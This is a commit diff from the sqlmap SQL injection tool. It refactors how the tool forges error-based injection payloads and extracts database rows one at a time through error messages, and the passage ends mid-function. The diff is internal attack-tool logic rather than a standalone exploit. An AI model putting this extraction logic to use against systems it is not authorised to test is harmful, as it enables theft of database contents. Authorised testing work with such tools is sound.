Major bug fix to properly process custom queries (--sql-query/--sql-shell) when technique in use is error-based.

Alignment of SQL statement payload packing/unpacking between all of the techniques.
Minor bug fix to use the proper charset (2, numbers) when dealing with COUNT() in custom queries too.
Minor code cleanup.
This commit is contained in:
Bernardo Damele 2011-01-18 23:02:11 +00:00
parent 81be23976e
commit daebb0010b
9 changed files with 486 additions and 260 deletions

View File

@ -27,7 +27,7 @@ from lib.core.enums import DBMS
from lib.core.enums import PAYLOAD
from lib.core.enums import PLACE
from lib.core.exception import sqlmapNoneDataException
from lib.core.settings import INBAND_FROM_TABLE
from lib.core.settings import FROM_TABLE
from lib.core.settings import PAYLOAD_DELIMITER
class Agent:
@ -312,9 +312,9 @@ class Agent:
if not kb.dbmsDetected:
return fields
fields = fields.replace(", ", ",")
fieldsSplitted = fields.split(",")
dbmsDelimiter = queries[getIdentifiedDBMS()].delimiter.query
fields = fields.replace(", ", ",")
fieldsSplitted = fields.split(",")
dbmsDelimiter = queries[getIdentifiedDBMS()].delimiter.query
nulledCastedFields = []
for field in fieldsSplitted:
@ -342,14 +342,14 @@ class Agent:
@rtype: C{str}
"""
prefixRegex = "(?:\s+(?:FIRST|SKIP)\s+\d+)*"
fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
prefixRegex = "(?:\s+(?:FIRST|SKIP)\s+\d+)*"
fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
fieldsSelectDistinct = re.search("\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I)
fieldsSelectCase = re.search("\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I)
fieldsSelectFrom = re.search("\ASELECT%s\s+(.+?)\s+FROM\s+" % prefixRegex, query, re.I)
fieldsExists = re.search("EXISTS(.*)", query, re.I)
fieldsSelect = re.search("\ASELECT%s\s+(.*)" % prefixRegex, query, re.I)
fieldsNoSelect = query
fieldsSelectCase = re.search("\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I)
fieldsSelectFrom = re.search("\ASELECT%s\s+(.+?)\s+FROM\s+" % prefixRegex, query, re.I)
fieldsExists = re.search("EXISTS(.*)", query, re.I)
fieldsSelect = re.search("\ASELECT%s\s+(.*)" % prefixRegex, query, re.I)
fieldsNoSelect = query
if fieldsExists:
fieldsToCastStr = fieldsSelect.groups()[0]
@ -366,7 +366,7 @@ class Agent:
elif fieldsNoSelect:
fieldsToCastStr = fieldsNoSelect
if re.search("\A\w+\(.*\)", fieldsToCastStr, re.I): #function
if re.search("\A\w+\(.*\)", fieldsToCastStr, re.I): # Function
fieldsToCastList = [fieldsToCastStr]
else:
fieldsToCastList = fieldsToCastStr.replace(", ", ",")
@ -380,7 +380,7 @@ class Agent:
if getIdentifiedDBMS() == DBMS.MYSQL:
concatenatedQuery = "CONCAT(%s,%s)" % (query1, query2)
elif getIdentifiedDBMS() in ( DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE ):
elif getIdentifiedDBMS() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE):
concatenatedQuery = "%s||%s" % (query1, query2)
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
@ -416,10 +416,10 @@ class Agent:
if unpack:
concatenatedQuery = ""
query = query.replace(", ", ",")
query = query.replace(", ", ",")
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields(query)
castedFields = self.nullCastConcatFields(fieldsToCastStr)
castedFields = self.nullCastConcatFields(fieldsToCastStr)
concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1)
else:
concatenatedQuery = query
@ -438,25 +438,25 @@ class Agent:
elif fieldsNoSelect:
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.misc.start, concatenatedQuery, kb.misc.stop)
elif getIdentifiedDBMS() in ( DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE ):
elif getIdentifiedDBMS() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE):
if fieldsExists:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.misc.start, 1)
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.misc.start, 1)
concatenatedQuery += "||'%s'" % kb.misc.stop
elif fieldsSelectFrom:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.misc.start, 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", "||'%s' FROM " % kb.misc.stop, 1)
elif fieldsSelect or fieldsSelectCase:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.misc.start, 1)
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.misc.start, 1)
concatenatedQuery += "||'%s'" % kb.misc.stop
elif fieldsNoSelect:
concatenatedQuery = "'%s'||%s||'%s'" % (kb.misc.start, concatenatedQuery, kb.misc.stop)
if getIdentifiedDBMS() == DBMS.ORACLE and " FROM " not in concatenatedQuery and ( fieldsSelect or fieldsNoSelect ):
if getIdentifiedDBMS() == DBMS.ORACLE and " FROM " not in concatenatedQuery and (fieldsSelect or fieldsNoSelect):
concatenatedQuery += " FROM DUAL"
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
if fieldsExists:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.misc.start, 1)
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.misc.start, 1)
concatenatedQuery += "+'%s'" % kb.misc.stop
elif fieldsSelectTop:
topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
@ -466,7 +466,7 @@ class Agent:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.misc.start, 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.misc.stop, 1)
elif fieldsSelect or fieldsSelectCase:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.misc.start, 1)
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.misc.start, 1)
concatenatedQuery += "+'%s'" % kb.misc.stop
elif fieldsNoSelect:
concatenatedQuery = "'%s'+%s+'%s'" % (kb.misc.start, concatenatedQuery, kb.misc.stop)
@ -520,8 +520,8 @@ class Agent:
intoRegExp = intoRegExp.group(1)
query = query[:query.index(intoRegExp)]
if getIdentifiedDBMS() in INBAND_FROM_TABLE and inbandQuery.endswith(INBAND_FROM_TABLE[getIdentifiedDBMS()]):
inbandQuery = inbandQuery[:-len(INBAND_FROM_TABLE[getIdentifiedDBMS()])]
if getIdentifiedDBMS() in FROM_TABLE and inbandQuery.endswith(FROM_TABLE[getIdentifiedDBMS()]):
inbandQuery = inbandQuery[:-len(FROM_TABLE[getIdentifiedDBMS()])]
for element in range(count):
if element > 0:
@ -540,9 +540,9 @@ class Agent:
conditionIndex = query.index(" FROM ")
inbandQuery += query[conditionIndex:]
if getIdentifiedDBMS() in INBAND_FROM_TABLE:
if getIdentifiedDBMS() in FROM_TABLE:
if " FROM " not in inbandQuery:
inbandQuery += INBAND_FROM_TABLE[getIdentifiedDBMS()]
inbandQuery += FROM_TABLE[getIdentifiedDBMS()]
if intoRegExp:
inbandQuery += intoRegExp
@ -559,8 +559,8 @@ class Agent:
else:
inbandQuery += char
if getIdentifiedDBMS() in INBAND_FROM_TABLE:
inbandQuery += INBAND_FROM_TABLE[getIdentifiedDBMS()]
if getIdentifiedDBMS() in FROM_TABLE:
inbandQuery += FROM_TABLE[getIdentifiedDBMS()]
inbandQuery = self.suffixQuery(inbandQuery, comment, suffix)
@ -595,7 +595,7 @@ class Agent:
fromFrom = limitedQuery[fromIndex+1:]
orderBy = False
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE ):
if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
limitStr = queries[getIdentifiedDBMS()].limit.query % (num, 1)
limitedQuery += " %s" % limitStr
@ -612,7 +612,7 @@ class Agent:
limitedQuery = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
else:
limitedQuery = "%s FROM (SELECT %s, %s" % (untilFrom, ", ".join(f for f in field), limitStr)
limitedQuery = limitedQuery % fromFrom
limitedQuery = limitedQuery % fromFrom
limitedQuery += "=%d" % (num + 1)
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
@ -634,21 +634,21 @@ class Agent:
if topNums:
topNums = topNums.groups()
quantityTopNums = topNums[0]
limitedQuery = limitedQuery.replace("TOP %s" % quantityTopNums, "TOP 1", 1)
startTopNums = topNums[1]
limitedQuery = limitedQuery.replace(" (SELECT TOP %s" % startTopNums, " (SELECT TOP %d" % num)
forgeNotIn = False
limitedQuery = limitedQuery.replace("TOP %s" % quantityTopNums, "TOP 1", 1)
startTopNums = topNums[1]
limitedQuery = limitedQuery.replace(" (SELECT TOP %s" % startTopNums, " (SELECT TOP %d" % num)
forgeNotIn = False
else:
topNum = re.search("TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1)
limitedQuery = limitedQuery.replace("TOP %s " % topNum, "")
topNum = re.search("TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1)
limitedQuery = limitedQuery.replace("TOP %s " % topNum, "")
if forgeNotIn:
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
if " WHERE " in limitedQuery:
limitedQuery = "%s AND %s " % (limitedQuery, field)
limitedQuery = "%s AND %s " % (limitedQuery, field)
else:
limitedQuery = "%s WHERE %s " % (limitedQuery, field)
limitedQuery = "%s WHERE %s " % (limitedQuery, field)
limitedQuery += "NOT IN (%s" % (limitStr % num)
limitedQuery += "%s %s)" % (field, fromFrom)

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@ -132,7 +132,12 @@ SYBASE_ALIASES = [ "sybase", "sybase sql server" ]
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES
SUPPORTED_OS = ( "linux", "windows" )
INBAND_FROM_TABLE = {DBMS.ORACLE: " FROM DUAL", DBMS.ACCESS: " FROM MSysObjects", DBMS.FIREBIRD: " FROM RDB$DATABASE", DBMS.MAXDB: " FROM VERSIONS"}
FROM_TABLE = {
DBMS.ORACLE: " FROM DUAL",
DBMS.ACCESS: " FROM MSysObjects",
DBMS.FIREBIRD: " FROM RDB$DATABASE",
DBMS.MAXDB: " FROM VERSIONS"
}
SQL_STATEMENTS = {
"SQL SELECT statement": (

View File

@ -18,6 +18,7 @@ from lib.core.common import expandAsteriskForColumns
from lib.core.common import getIdentifiedDBMS
from lib.core.common import getPublicTypeMembers
from lib.core.common import initTechnique
from lib.core.common import isNumPosStrValue
from lib.core.common import isTechniqueAvailable
from lib.core.common import parseUnionPage
from lib.core.common import popValue
@ -34,6 +35,8 @@ from lib.core.enums import DBMS
from lib.core.enums import EXPECTED
from lib.core.enums import PAYLOAD
from lib.core.exception import sqlmapNotVulnerableException
from lib.core.exception import sqlmapUserQuitException
from lib.core.settings import FROM_TABLE
from lib.core.settings import MIN_TIME_RESPONSES
from lib.core.settings import MAX_TECHNIQUES_PER_VALUE
from lib.core.threads import getCurrentThreadData
@ -51,7 +54,7 @@ def __goInference(payload, expression, charsetType=None, firstChar=None, lastCha
timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
if ( conf.eta or conf.threads > 1 ) and getIdentifiedDBMS() and not timeBasedCompare:
if (conf.eta or conf.threads > 1) and getIdentifiedDBMS() and not timeBasedCompare:
_, length, _ = queryOutputLength(expression, payload)
else:
length = None
@ -66,8 +69,8 @@ def __goInference(payload, expression, charsetType=None, firstChar=None, lastCha
return value
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, resumeValue=True, charsetType=None, firstChar=None, lastChar=None):
outputs = []
origExpr = None
outputs = []
origExpr = None
for field in expressionFieldsList:
output = None
@ -76,7 +79,7 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
continue
if isinstance(num, int):
origExpr = expression
origExpr = expression
expression = agent.limitQuery(num, expression, field)
if "ROWNUM" in expressionFieldsList:
@ -87,9 +90,9 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
if resumeValue:
output = resume(expressionReplaced, payload)
if not output or ( expected == EXPECTED.INT and not output.isdigit() ):
if not output or (expected == EXPECTED.INT and not output.isdigit()):
if output:
warnMsg = "expected value type %s, resumed '%s', " % (expected, output)
warnMsg = "expected value type %s, resumed '%s', " % (expected, output)
warnMsg += "sqlmap is going to retrieve the value again"
logger.warn(warnMsg)
@ -102,31 +105,6 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
return outputs
def __goBooleanProxy(expression, resumeValue=True):
"""
Retrieve the output of a boolean based SQL query
"""
initTechnique(kb.technique)
vector = kb.injection.data[kb.technique].vector
vector = vector.replace("[INFERENCE]", expression)
vector = agent.cleanupPayload(vector)
query = agent.prefixQuery(vector)
query = agent.suffixQuery(query)
payload = agent.payload(newValue=query)
timeBasedCompare = kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)
if resumeValue:
output = resume(expression, payload)
else:
output = None
if not output:
output = Request.queryPage(payload, timeBasedCompare=timeBasedCompare, raise404=False)
return output
def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None, firstChar=None, lastChar=None):
"""
Retrieve the output of a SQL query characted by character taking
@ -153,7 +131,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
else:
output = None
if output and ( expected is None or ( expected == EXPECTED.INT and output.isdigit() ) ):
if output and (expected is None or (expected == EXPECTED.INT and output.isdigit())):
return output
if not unpack:
@ -178,14 +156,14 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
# forge the SQL limiting the query output one entry per time
# NOTE: I assume that only queries that get data from a table
# can return multiple entries
if fromUser and " FROM " in expression:
if fromUser and " FROM " in expression.upper() and ((getIdentifiedDBMS() not in FROM_TABLE) or (getIdentifiedDBMS() in FROM_TABLE and not expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]))):
limitRegExp = re.search(queries[getIdentifiedDBMS()].limitregexp.query, expression, re.I)
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
if limitRegExp or ( getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit ):
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
if limitRegExp or (getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL):
limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
@ -196,7 +174,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
if limitRegExp:
limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
@ -205,8 +183,8 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
limitCond = int(stopLimit) > 1
elif topLimit:
startLimit = 0
stopLimit = int(topLimit.group(1))
limitCond = int(stopLimit) > 1
stopLimit = int(topLimit.group(1))
limitCond = int(stopLimit) > 1
elif getIdentifiedDBMS() == DBMS.ORACLE:
limitCond = False
@ -222,7 +200,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
# From now on we need only the expression until the " LIMIT "
# (or similar, depending on the back-end DBMS) word
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL):
stopLimit += startLimit
untilLimitChar = expression.index(queries[getIdentifiedDBMS()].limitstring.query)
expression = expression[:untilLimitChar]
@ -231,18 +209,14 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
stopLimit += startLimit
if not stopLimit or stopLimit <= 1:
if getIdentifiedDBMS() == DBMS.ORACLE and expression.endswith("FROM DUAL"):
test = "n"
elif batch:
test = "y"
if getIdentifiedDBMS() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]):
test = False
else:
message = "can the SQL query provided return "
message += "multiple entries? [Y/n] "
test = readInput(message, default="Y")
test = True
if not test or test[0] in ("y", "Y"):
if test:
# Count the number of SQL query entries output
countFirstField = queries[getIdentifiedDBMS()].count.query % expressionFieldsList[0]
countFirstField = queries[getIdentifiedDBMS()].count.query % expressionFieldsList[0]
countedExpression = expression.replace(expressionFields, countFirstField, 1)
if re.search(" ORDER BY ", expression, re.I):
@ -254,16 +228,16 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
if not stopLimit:
if not count or not count.isdigit():
count = __goInference(payload, countedExpression, charsetType, firstChar, lastChar)
count = __goInference(payload, countedExpression, 2, firstChar, lastChar)
if count and count.isdigit() and int(count) > 0:
if isNumPosStrValue(count):
count = int(count)
if batch:
stopLimit = count
else:
message = "the SQL query provided can return "
message += "up to %d entries. How many " % count
message = "the SQL query provided can return "
message += "%d entries. How many " % count
message += "entries do you want to retrieve?\n"
message += "[a] All (default)\n[#] Specific number\n"
message += "[q] Quit"
@ -273,21 +247,21 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
stopLimit = count
elif test[0] in ("q", "Q"):
return "Quit"
raise sqlmapUserQuitException
elif test.isdigit() and int(test) > 0 and int(test) <= count:
stopLimit = int(test)
infoMsg = "sqlmap is now going to retrieve the "
infoMsg = "sqlmap is now going to retrieve the "
infoMsg += "first %d query output entries" % stopLimit
logger.info(infoMsg)
elif test[0] in ("#", "s", "S"):
message = "How many? "
message = "how many? "
stopLimit = readInput(message, default="10")
if not stopLimit.isdigit():
errMsg = "Invalid choice"
errMsg = "invalid choice"
logger.error(errMsg)
return None
@ -296,13 +270,13 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
stopLimit = int(stopLimit)
else:
errMsg = "Invalid choice"
errMsg = "invalid choice"
logger.error(errMsg)
return None
elif count and not count.isdigit():
warnMsg = "it was not possible to count the number "
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
@ -310,39 +284,68 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
stopLimit = 1
elif ( not count or int(count) == 0 ):
warnMsg = "the SQL query provided does not "
elif (not count or int(count) == 0):
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return None
elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
warnMsg = "the SQL query provided does not "
elif (not count or int(count) == 0) and (not stopLimit or stopLimit == 0):
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return None
for num in xrange(startLimit, stopLimit):
output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
outputs.append(output)
try:
for num in xrange(startLimit, stopLimit):
output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
outputs.append(output)
except KeyboardInterrupt:
print
warnMsg = "Ctrl+C detected in dumping phase"
logger.warn(warnMsg)
return outputs
elif getIdentifiedDBMS() == DBMS.ORACLE and expression.startswith("SELECT ") and " FROM " not in expression:
expression = "%s FROM DUAL" % expression
elif getIdentifiedDBMS() in FROM_TABLE and expression.upper().startswith("SELECT ") and " FROM " not in expression.upper():
expression += FROM_TABLE[getIdentifiedDBMS()]
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
returnValue = ", ".join([output for output in outputs])
else:
returnValue = __goInference(payload, expression, charsetType, firstChar, lastChar)
return returnValue
def __goError(expression, resumeValue=True):
def __goBooleanProxy(expression, resumeValue=True):
"""
Retrieve the output of a boolean based SQL query
"""
initTechnique(kb.technique)
vector = kb.injection.data[kb.technique].vector
vector = vector.replace("[INFERENCE]", expression)
vector = agent.cleanupPayload(vector)
query = agent.prefixQuery(vector)
query = agent.suffixQuery(query)
payload = agent.payload(newValue=query)
timeBasedCompare = kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)
if resumeValue:
output = resume(expression, payload)
else:
output = None
if not output:
output = Request.queryPage(payload, timeBasedCompare=timeBasedCompare, raise404=False)
return output
def __goError(expression, expected=None, resumeValue=True, dump=False):
"""
Retrieve the output of a SQL query taking advantage of an error-based
SQL injection vulnerability on the affected parameter.
@ -357,8 +360,7 @@ def __goError(expression, resumeValue=True):
result = resume(expression, None)
if not result:
result = errorUse(expression)
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression, replaceNewlineTabs(result)))
result = errorUse(expression, expected, resumeValue, dump)
return result
@ -368,14 +370,14 @@ def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=Tr
injection vulnerability on the affected parameter.
"""
output = None
output = None
partial = False
data = []
data = []
if resumeValue:
output = resume(expression, None)
if not output or ( expected == EXPECTED.INT and not output.isdigit() ):
if not output or (expected == EXPECTED.INT and not output.isdigit()):
partial = True
if not output:
@ -405,8 +407,10 @@ def getValue(expression, blind=True, inband=True, error=True, time=True, fromUse
query = expandAsteriskForColumns(query)
value = None
found = False
if query and not 'COUNT(*)' in query:
query = query.replace("DISTINCT ", "")
count = 0
if expected == EXPECTED.BOOL:
@ -432,9 +436,9 @@ def getValue(expression, blind=True, inband=True, error=True, time=True, fromUse
kb.technique = PAYLOAD.TECHNIQUE.ERROR
if expected == EXPECTED.BOOL:
value = __goError(forgeCaseExpression, resumeValue)
value = __goError(forgeCaseExpression, expected, resumeValue, dump)
else:
value = __goError(query, resumeValue)
value = __goError(query, expected, resumeValue, dump)
count += 1
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE

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@ -11,10 +11,12 @@ import re
import time
from lib.core.agent import agent
from lib.core.common import dataToStdout
from lib.core.common import calculateDeltaSeconds
from lib.core.common import dataToSessionFile
from lib.core.common import extractRegexResult
from lib.core.common import getIdentifiedDBMS
from lib.core.common import initTechnique
from lib.core.common import isNumPosStrValue
from lib.core.common import randomInt
from lib.core.common import replaceNewlineTabs
from lib.core.common import safeStringFormat
@ -23,41 +25,249 @@ from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.enums import DBMS
from lib.core.enums import EXPECTED
from lib.core.enums import PAYLOAD
from lib.core.settings import FROM_TABLE
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
from lib.utils.resume import resume
def errorUse(expression):
"""
Retrieve the output of a SQL query taking advantage of an error SQL
injection vulnerability on the affected parameter.
"""
reqCount = 0
initTechnique(PAYLOAD.TECHNIQUE.ERROR)
def __oneShotErrorUse(expression, field):
global reqCount
output = None
check = "%s(?P<result>.*?)%s" % (kb.misc.start, kb.misc.stop)
nulledCastedField = agent.nullAndCastField(field)
if getIdentifiedDBMS() == DBMS.MYSQL:
# Fix for MySQL odd behaviour ('Subquery returns more than 1 row')
nulledCastedField = nulledCastedField.replace("AS CHAR)", "AS CHAR(100))")
# Forge the error-based SQL injection request
vector = agent.cleanupPayload(kb.injection.data[PAYLOAD.TECHNIQUE.ERROR].vector)
query = unescaper.unescape(vector)
query = agent.prefixQuery(query)
query = agent.suffixQuery(query)
check = "%s(?P<result>.*?)%s" % (kb.misc.start, kb.misc.stop)
injExpression = expression.replace(field, nulledCastedField, 1)
injExpression = unescaper.unescape(injExpression)
injExpression = query.replace("[QUERY]", injExpression)
payload = agent.payload(newValue=injExpression)
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
if getIdentifiedDBMS() == DBMS.MYSQL:
nulledCastedField = nulledCastedField.replace("AS CHAR)", "AS CHAR(100))") # fix for that 'Subquery returns more than 1 row'
expression = expression.replace(fieldToCastStr, nulledCastedField, 1)
expression = unescaper.unescape(expression)
expression = query.replace("[QUERY]", expression)
payload = agent.payload(newValue=expression)
# Perform the request
page, _ = Request.queryPage(payload, content=True)
reqCount += 1
# Parse the returned page to get the exact error-based
# sql injection output
output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE)
if output:
output = output.replace(kb.misc.space, " ")
dataToStdout("[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), replaceNewlineTabs(output, stdout=True)))
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression, replaceNewlineTabs(output)))
return output
def __errorFields(expression, expressionFields, expressionFieldsList, expected=None, num=None, resumeValue=True):
outputs = []
origExpr = None
for field in expressionFieldsList:
output = None
if field.startswith("ROWNUM "):
continue
if isinstance(num, int):
origExpr = expression
expression = agent.limitQuery(num, expression, field)
if "ROWNUM" in expressionFieldsList:
expressionReplaced = expression
else:
expressionReplaced = expression.replace(expressionFields, field, 1)
if resumeValue:
output = resume(expressionReplaced, None)
if not output or (expected == EXPECTED.INT and not output.isdigit()):
if output:
warnMsg = "expected value type %s, resumed '%s', " % (expected, output)
warnMsg += "sqlmap is going to retrieve the value again"
logger.warn(warnMsg)
output = __oneShotErrorUse(expressionReplaced, field)
logger.info("retrieved: %s" % output)
if isinstance(num, int):
expression = origExpr
if output:
output = output.replace(kb.misc.space, " ")
outputs.append(output)
return outputs
def errorUse(expression, expected=None, resumeValue=True, dump=False):
"""
Retrieve the output of a SQL query taking advantage of the error-based
SQL injection vulnerability on the affected parameter.
"""
initTechnique(PAYLOAD.TECHNIQUE.ERROR)
count = None
start = time.time()
startLimit = 0
stopLimit = None
outputs = []
test = None
untilLimitChar = None
untilOrderChar = None
global reqCount
reqCount = 0
if resumeValue:
output = resume(expression, None)
else:
output = None
if output and (expected is None or (expected == EXPECTED.INT and output.isdigit())):
return output
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)
# We have to check if the SQL query might return multiple entries
# and in such case forge the SQL limiting the query output one
# entry per time
# NOTE: I assume that only queries that get data from a table can
# return multiple entries
if " FROM " in expression.upper() and ((getIdentifiedDBMS() not in FROM_TABLE) or (getIdentifiedDBMS() in FROM_TABLE and not expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]))) and "EXISTS(" not in expression.upper():
limitRegExp = re.search(queries[getIdentifiedDBMS()].limitregexp.query, expression, re.I)
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
if limitRegExp or (getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL):
limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
if limitRegExp:
limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif topLimit:
startLimit = 0
stopLimit = int(topLimit.group(1))
limitCond = int(stopLimit) > 1
elif getIdentifiedDBMS() == DBMS.ORACLE:
limitCond = False
else:
limitCond = True
# I assume that only queries NOT containing a "LIMIT #, 1"
# (or similar depending on the back-end DBMS) can return
# multiple entries
if limitCond:
if limitRegExp:
stopLimit = int(stopLimit)
# From now on we need only the expression until the " LIMIT "
# (or similar, depending on the back-end DBMS) word
if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL):
stopLimit += startLimit
untilLimitChar = expression.index(queries[getIdentifiedDBMS()].limitstring.query)
expression = expression[:untilLimitChar]
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
stopLimit += startLimit
elif dump:
if conf.limitStart:
startLimit = conf.limitStart
if conf.limitStop:
stopLimit = conf.limitStop
if not stopLimit or stopLimit <= 1:
if getIdentifiedDBMS() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]):
test = False
else:
test = True
if test:
# Count the number of SQL query entries output
countFirstField = queries[getIdentifiedDBMS()].count.query % expressionFieldsList[0]
countedExpression = expression.replace(expressionFields, countFirstField, 1)
if re.search(" ORDER BY ", expression, re.I):
